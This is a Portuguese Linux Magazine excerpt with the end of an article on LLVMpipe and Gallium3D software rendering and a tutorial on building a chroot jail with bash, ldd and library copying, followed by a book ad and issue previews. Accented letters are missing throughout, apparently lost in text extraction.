Apenas a interface Winsys precisa saber qual sistema operacional
est atualmente sendo afetado e
como se comunicar com ele. Como
ela apenas passa sobre os dados,
a interface pode ser pequena e
criada rapidamente. Alm disso,
a interface pode usar qualquer
driver de placa grfica, por isso
precisa ser desenvolvida apenas
uma vez para cada sistema operacional. O atual driver da placa
grfica pode, portanto, permanecer praticamente inalterado por
todas as plataformas.

73

Fronted

Otimizao
de cdigo

LLVM IR

Backend

Programa
compelto

Figura 4 Com o compilador LLVM, um frontend, como o compilador Clang C, cria um cdigo intermedirio que um backend transfere para um programa, digamos, de processador x86, aps a otimizao.

Para obter uma visualizao 3D


acelerada no Linux, portanto, o usurio precisa de um driver Gallium3D
que se encaixe na placa grfica e um
mdulo do kernel DRM correspondente. Infelizmente, os principais
fabricantes de cartes grficos fazem criaes prprias, de modo que
os desenvolvedores livres acabam
tendo que viol-los mais uma vez.
Atualmente os drivers Gallium3D
esto disponveis para hardware
Intel e algumas placas grficas ATI;
a NVidia, entretanto, suporta o conhecido driver Nouveau.
Como os fabricantes no publicam detalhes de hardware em seus
chips grficos, o desenvolvimento
de drivers livres geralmente um
processo tedioso. Ainda hoje, o
Nouveau no fornece dados de desempenho para seu driver proprietrio da NVIDIA. Como a Tungsten
Graphics agora pertence VMware,
fabricante de virtualizadores de mesmo nome, no nenhuma surpresa que exista um driver Gallium3D
para a placa grfica simulada das
mquinas virtuais.

Por dentro do pipe

Como referncia e modelo para drivers aspirantes a leitores, a equipe


Gallium3D fornece o softpipe driver.
Este driver executa os clculos 3D
do processador, uma transao
que extremamente longa e no

apropriada para uso dirio. Jos


Fonseca, dessa forma, surgiu com
a ideia de rebaixar o softpipe driver
no compilador LLVM (quadro 1). Ele
e alguns colegas, entre eles Brian
Paul, inventor do Mesa, ajustaram o
softpipe driver com um rasterizador

Figura 5 Como reporta o glxinfo na linha destacada, o Unity executa sob o LLVMpipe. Podemos testar o LLVMpipe em uma mquina
virtual, como neste exemplo.

Quadro 1: Compilador LLVM


O LLVM um compilador modular [7]. Primeiro, um componente frontend traduz o cdigo fonte para a linguagem especial LLVM Intermediate Representation (IR) (figura 4). O cdigo do programa otimiza o LLVM antes de
entreg-lo ao backend, o atual programa do processador especfico. Embora o processo parea complicado, o sistema todo extremamente rpido, e o idioma LLVM IR pode ser executado em uma mquina virtual (figura 5). Para
acelerar ainda mais o processo, o usurio encontrar disponvel um compilador [8] que faz todo o trabalho na hora.
O LLMVpipe transfere os comandos necessrios para calcular os pixels da imagem acabada para o idioma IR
LLVM. Alm de pontos, linhas e tringulos, estes tambm incluem os chamados shaders. Shaders so miniprogramas que realmente funcionam com a placa grfica e, em geral, produzem grandes efeitos visuais como fumaa e
reflexos. O LLVMpipe transforma todos os clculos necessrios em comandos da linguagem LLVM IR e, em seguida,
permite que a LLVM os traduza e execute. Para que o LLVMpipe alcance seu pleno potencial, os desenvolvedores recomendam um sistema de 64 bits e um processador x86 com, pelo menos, a instruo de extenso SSE2.
Todos estes fatores contribuem para que o LLVMpipe apresente ao menos simples aplicativos 3D suavemente
na tela. Zack Rusin, desenvolvedor do LLVMpipe, relatou em seu blog que conseguia jogar o Alien Arena [9] em
25 frames por segundo em um Xeon E5405 com baixa resoluo. O velho software rasterizador Mesa produziu
um slideshow nico em 3,5 frames por segundo, em comparao [10]. Medidas feitas por Michael Larabel do site
Phoronix Internet confirmam esses valores.

74

www.linuxmagazine.com.br

mais potente (tambm conhecido


como rasterer ou renderizador) [5].
Este renderizador calcula a imagem
de pixel completa a partir dos dados 3D. Para entregar a imagem o
mais depressa possvel, os clculos
fluem para um programa que, em
seguida, permite que o compilador
LLVM os traduza e execute. Para
acelerar ainda mais o processo, o
rasterizador distribui os clculos
em todos os cores disponveis do
processador. O resultado surge com
o nome de LLVMpipe [6].

Concluso

O LLVMpipe provavelmente no
poder controlar uma placa grfica
3D com um driver posteriormente
otimizado porque o processador
principal precisar lidar com muitas
tarefas, ao passo que a placa grfica
3D projetada e otimizada para o
processamento rpido de grficos
3D. Alm disso, o trabalho com o
LLVMpipe continua, com algumas

Coleo
Academy!

funes aguardando implementao.


O LLVMpipe, portanto, contar como
uma espcie de ltimo recurso, mas
seu desempenho adequado para
interfaces grficas e aplicativos 3D
simples, como prova a combinao
do Ubuntu 12.10 com Unity. n

Gostou do artigo?
Queremos ouvir sua opinio.
Fale conosco em:
cartas@linuxmagazine.com.br
Este artigo no nosso site:
http://lnm.com.br/article/8840

Mais informaes
[1] Khronos Group: http://www.khronos.org
[2] Mesa: http://www.mesa3d.org
[3] Gallium3D:
http://freedesktop.org/wiki/Software/gallium/
[4] OpenVG at Wikipedia:
http://en.wikipedia.org/wiki/OpenVG/
[5] Rasterization at Wikipedia:
http://en.wikipedia.org/wiki/Rasterisation/
[6] LLVMpipe: http://www.mesa3d.org/llvmpipe.html
[7] LLVM: http://www.llvm.org
[8] Just-in-time compilation at Wikipedia:
http://en.wikipedia.org/wiki/Justintime_compilation
[9] Alien Arena: http://red.planetarena.org
[10] The software renderer by Zack Rusin:
http://zrusin.blogspot.de/2010/03/softwarerenderer.html
[11] LLVMpipe Still Doesnt Work For Linux Gaming; by Michael Larabel:
http://www.phoronix.com/scan.php?page=news_item&px=MTEwODM

Instalao e congifurao de
servidores VoIP com Asterisk.
Configurao de ramais,
extenses, secretria eletrnica,
monitoramento e espionagem
de chamadas, planos de
discagem, URA e muitos outros
aspectos que abordam o uso de
centrais telefnicas IP PBX.
Disponvel no site
www.LinuxMagazine.com.br

Linux Magazine #106 | Setembro de 2013

75

Segurana

Priso privada

Virtualizar bom, mas s vezes pode ser um exagero, se tudo o que o usurio quiser fazer for executar um programa
que poderia representar uma ameaa ao sistema. O chroot jails oferece uma alternativa leve, rpida e bem testada.
por Paul C. Brown

ma das coisas mais perigosas


que o usurio pode fazer no
sistema executar software
baixado da Internet a partir de um
site desconhecido ou ainda aplicativos
que no foram testados e que podem
conter erros fatais. Em ambos os casos,
nunca aconselhvel arriscar dados
e hardware, executando aplicativos
duvidosos diretamente no sistema
utilizado diariamente para trabalho
e lazer. No entanto, o usurio no
precisa desistir de experimentar um
novo software. Poderia at ser uma
exigncia de trabalho, caso em que
o usurio trabalha na rea de TI desenvolvendo cdigo potencialmente
perigoso e, sejamos francos, todo o
cdigo experimental potencialmente perigoso. No Linux, podemos criar
um ambiente fechado e controlado
para fazer estas coisas, e exatamente
sobre o que se trata o chroot.

Espao pessoal

Usar o chroot de certa forma semelhante a virtualizar um sistema, mas muito


mais limitado em termos de escopo.
Ao invs de recriar um sistema de computador inteiro, o chroot permite que o
usurio crie um Shell do convidado e
um sistema de arquivos (inicialmente)
vazio em um diretrio favorito em sua
prpria rvore de diretrios.
O sistema convidado herda algumas das caractersticas do sistema de
host sabidamente, o kernel e a maior
parte das variveis de ambiente mas
a rvore de diretrios desaparece,
juntamente com todos os comandos,
bibliotecas compartilhadas, diretrios

76

do dispositivo e outros recursos. Dentro desta ficha limpade um sistema,


criamos um novo sistema de arquivos a
partir do zero, contendo apenas o que
necessrio para executar o aplicativo
que temos que testar; da o seu nome:
para todos os efeitos prticos, mudamos o local do diretrio raiz.
Depois de haver decidido onde
ficar a chroot jail, o usurio pode
comear a copiar software para criar
um ambiente seguro. Devido s caractersticas deste tipo de ambiente,
altamente improvvel que o sistema
host ser afetado se alguma coisa der
errado. Por exemplo, quase impossvel
que aplicativos jailed modifiquem ou
apaguem arquivos de fora do chroot
no sistema host sendo oquaseuma
palavra importante na frase anterior.

Compilando o jail

Compilar um chroot jail muito


simples. Tudo o que o usurio tem
a fazer criar um novo diretrio e
apontar o chroot para ele:
$ mkdir myjail
$ sudo chroot myjail

Note que, embora o diretrio


possa pertencer ao prprio usurio, o chroot s pode ser executado
com privilgios de superusurio,
da o sudo no incio da linha.
No entanto, a entrada das duas linhas
anteriores s levar a um erro como:
chroot: failed to run
command '/bin/bash':
No such file or directory

Isso acontece porque o Shell Bash


como qualquer outro programa

e, quando o sistema tenta acessar


um Shell de dentro do jail, ele no o
encontra e quebra. Assim, o prximo
passo a criao de um programa
de Shell de dentro do jail.
Para isso, a primeira coisa a fazer
criar um diretrio bin (que onde
os programas executveis essenciais
de um sistema Linux geralmente se
encontram) no diretrio de teste e
copiar o bash do do /bin do host:
$ mkdir myjail/bin
$ cp bin/bash myjail/bin

Podemos pensar que isso suficiente, mas, se tentarmos o chroot


novamente, ele retornar o mesmo
que antes, porque o Bash depende
de vrios outros arquivos que contenham cdigo chamado de bibliotecas, que so necessrias para fazer o
trabalho. O usurio precisa descobrir
qual deles deve selecionar e copi-los para jail. Note que, de dentro do
jail, o resto do sistema invisvel, e o
usurio no pode acessar qualquer

Listagem 1: Bibliotecas
dependentes do Bash
$ ldd /bin/bash
linuxvdso.so.1
(0x00007fff10576000)
libreadline.so.6 => /lib64/
libreadline.so.6
(0x00007fa02c744000)
libtinfo.so.5 => /lib64/
libtinfo.so.5
(0x00007fa02c511000)
libdl.so.2 => /lib64/libdl.
so.2 (0x00007fa02c30d000)
libc.so.6 => /lib64/libc.so.6
(0x00007fa02bf60000)
/lib64/ldlinuxx8664.so.2
(0x00007fa02c98c000)

www.linuxmagazine.com.br

arquivo do exterior, incluindo essas


bibliotecas muito importantes.
Para descobrir quais bibliotecas o
Bash necessita, podemos usar o comando ldd. A sintaxe muito simples:
tudo o que temos a fazer passar o
caminho e o nome do aplicativo que
desejamos verificar. Na listagem 1,
estamos executando ldd para Bash,
que retorna uma lista de bibliotecas
e onde elas esto instaladas. Observe
que a maioria reside em um diretrio
chamado lib64/, vinculado ao diretrio raiz (/). O 64 indica que estamos
usando um sistema de 64 bits. Se o
usurio estiver utilizando um sistema
de 32 bits, o diretrio ser simplesmente chamado de lib/.
O primeiro item da lista, linux-vd
so.so.1 (0x00007fff10576000), uma
biblioteca virtual usada em alguns
sistemas Linux, e podemos ignor-la
sumariamente. O restante das linhas
aponta para bibliotecas reais que
temos que copiar para um diretrio
com o mesmo nome no chroot jail:
$ mkdir myjail/lib64
$ cp /lib64/
libreadline.so.6 myjail/lib/
$ cp /lib64/libtinfo.so.5 myjail/lib/
...

...e assim por diante. Depois de copiar


todos os arquivos, podemos testar
o jail novamente:
sudo chroot myjail/
Password:
bash4.2#

Sucesso! O fato de agora termos


um prompt mostra que tudo est
funcionando como deveria. No entanto, logo iremos nos deparar com
algumas limitaes. Embora possamos acessar os diretrios /bin e /lib
que criamos no jail com o comando cd
e talvez copiar e mover arquivos para
ele, no podemos fazer muito mais
do que isso. No podemos nem listar
o contedo dos diretrios (embora
possamos usar o comando pwd para
ver onde nos encontramos dentro da
rvore de diretrios).

Linux Magazine #106 | Setembro de 2013

Isso porque, enquanto cd e pwd


so comandos integrados no Bash
conhecidos como builtin commands
o ls, programa utilizado para listar
o contedo do diretrio, no . Para
usar o ls, temos que passar por um
processo semelhante ao qual passamos para fazer com que o Bash
funcione, incluindo copiar todas as
bibliotecas das quais ele depende.
Para comear, saia do jail com:
bash4.1# exit

Quadro 1:
Como executar
aplicativos complexos
Se o usurio quiser executar
aplicativos que so muito mais
complexos do que o ls em um
chroot jail, logo ir descobrir que
ter que incluir diretrios inteiros
antes que tudo funcione. O que
torna as coisas ainda mais difceis
descobrir que alguns destes diretrios, como /proc, /dev e /sys
nem sequer contm arquivos e
subdiretrios reais, mas virtuais.
Arquivos como /dev/sda ou
/proc/cpuinfo no apontam para
dados reais no disco rgido, mas
so criados quando h o boot
do sistema ou mesmo quando o
sistema est em execuo e no
pode ser copiado ou movido. Eles
tambm no podem ser vinculados
ao ln-s porque, como mencionado
anteriormente, o resto do sistema
alm do jail invisvel de dentro
dele, logo, os links para arquivos
e diretrios fora do jail aparecem
como quebrados.
Felizmente, h uma soluo para
este problema. Usando a opo de
comando mount -o bind, o usurio
pode vincular diretrios para seu
diretrio e eles ainda estaro disponveis quando executarmos chroot:
$
$
$
$
$

cd myjail
mkdir proc
mkdir dev
mount o bind /proc proc
mount o bind /dev dev

Mas, ateno: use este mtodo


com moderao, se o seu objetivo
for criar um ambiente isolado, pois
o comando mount o bind abrir um
grande buraco nas paredes do jail.

em seguida, verifique a listagem 2


para ver como ele criado, a entrada
est em negrito). A lista de bibliotecas pode variar de sistema para
sistema. Algumas das bibliotecas
j esto no diretrio mijail/lib64,
assim, podemos ignor-las. Uma
vez concludo o processo, o usurio ser capaz de usar ls como faria
no sistema host. E isso tudo o que
podemos fazer com este comando.
O processo pode ficar muito mais
complicado se o usurio pretender
utilizar o jail com programas mais
complexos, por isso leia com ateno o quadro 1, que contm algumas
dicas sobre como fazer as coisas
funcionarem sem problemas. n

Listagem 2: Como fazer o ls


funcionar no jail
01 $ cp /bin/ls myjail/bin/
02 $ ldd /bin/ls
03 linuxvdso.so.1 =>


(0x00007ffffcb35000)
04 libselinux.so.1 => /lib64/

libselinux.so.1
(0x00000036e3c00000)
05 librt.so.1 => /lib64/librt.so.1

(0x00000036e3400000)
06 libcap.so.2 => /lib64/libcap.so.2
(0x00000036ecc00000)
07 libacl.so.1 => /lib64/libacl.so.1
(0x00000036f1400000)
08 libc.so.6 => /lib64/libc.so.6

(0x00000036e1c00000)
09 libdl.so.2 => /lib64/libdl.so.2

(0x00000036e2000000)
10 /lib64/ldlinuxx8664.so.2
(0x00000036e1800000)
11 libpthread.so.0 => /lib64/
libpthread.so.0
(0x00000036e2400000)
12 libattr.so.1 => /lib64/libattr.
so.1 (0x00000036ef000000)
13 $ cp /lib64/libselinux.so.1
myjail/lib64/
14 $ cp /lib64/librt.so.1 myjail/lib64/
15 $ cp /lib64/libcap.so.2 myjail/

lib64/
16 $ cp /lib64/libacl.so.1 myjail/
lib64/
17 $ cp /lib64/libpthread.so.0
myjail/lib64/
18 $ cp /lib64/libattr.so.1 myjail/
lib64/
19 $ sudo chroot myjail
20 Password:
21 bash4.1# ls
22 bin lib64
23 bash4.1#

77

Preview

Linux Magazine #107


GED
Documentos formam a grande massa
de conhecimentos de uma empresa.
Um sistema GED (Gesto Eletrnica de
Documentos) permite preservar esse
patrimnio e organizar eletronicamente a
documentao, para assegurar a informao
necessria, na hora exata, para a pessoa certa.
Na prxima edio da Linux Magazine, voc
vai conhecer o sistema GED Alfresco, que
revolucionou o mercado de colaborao
e compartilhamento de documentos em
uma rede empresarial e poder ser o mais
novo e fiel amigo de usurios que precisam
armazenar digitalmente documentos
importantes, colaborar em equipe atravs
do compartilhamento monitorado de
contedo e gerenciar como um todo as
informaes trocadas entre membros de
uma empresa. n

Admin Magazine #10


OpenStack
Capaz de gernciar os componentes
de mltiplas instncias virtualizadas,
o OpenStack um dos queridinhos
dos profissionais de infraestrutura e
virtualizao da atualidade. livre, no
possui restries quanto quantidade de instncias e uma plataforma
robusta, extremamente til nestes
tempos onde o advento da computao em nuvem j uma realidade. Na
prxima edio da Admin Magazine
voc vai conhecer tudo o que essa incrvel ferramenta pode fazer por voc!
No perca! n

82

www.linuxmagazine.com.br

Você também pode gostar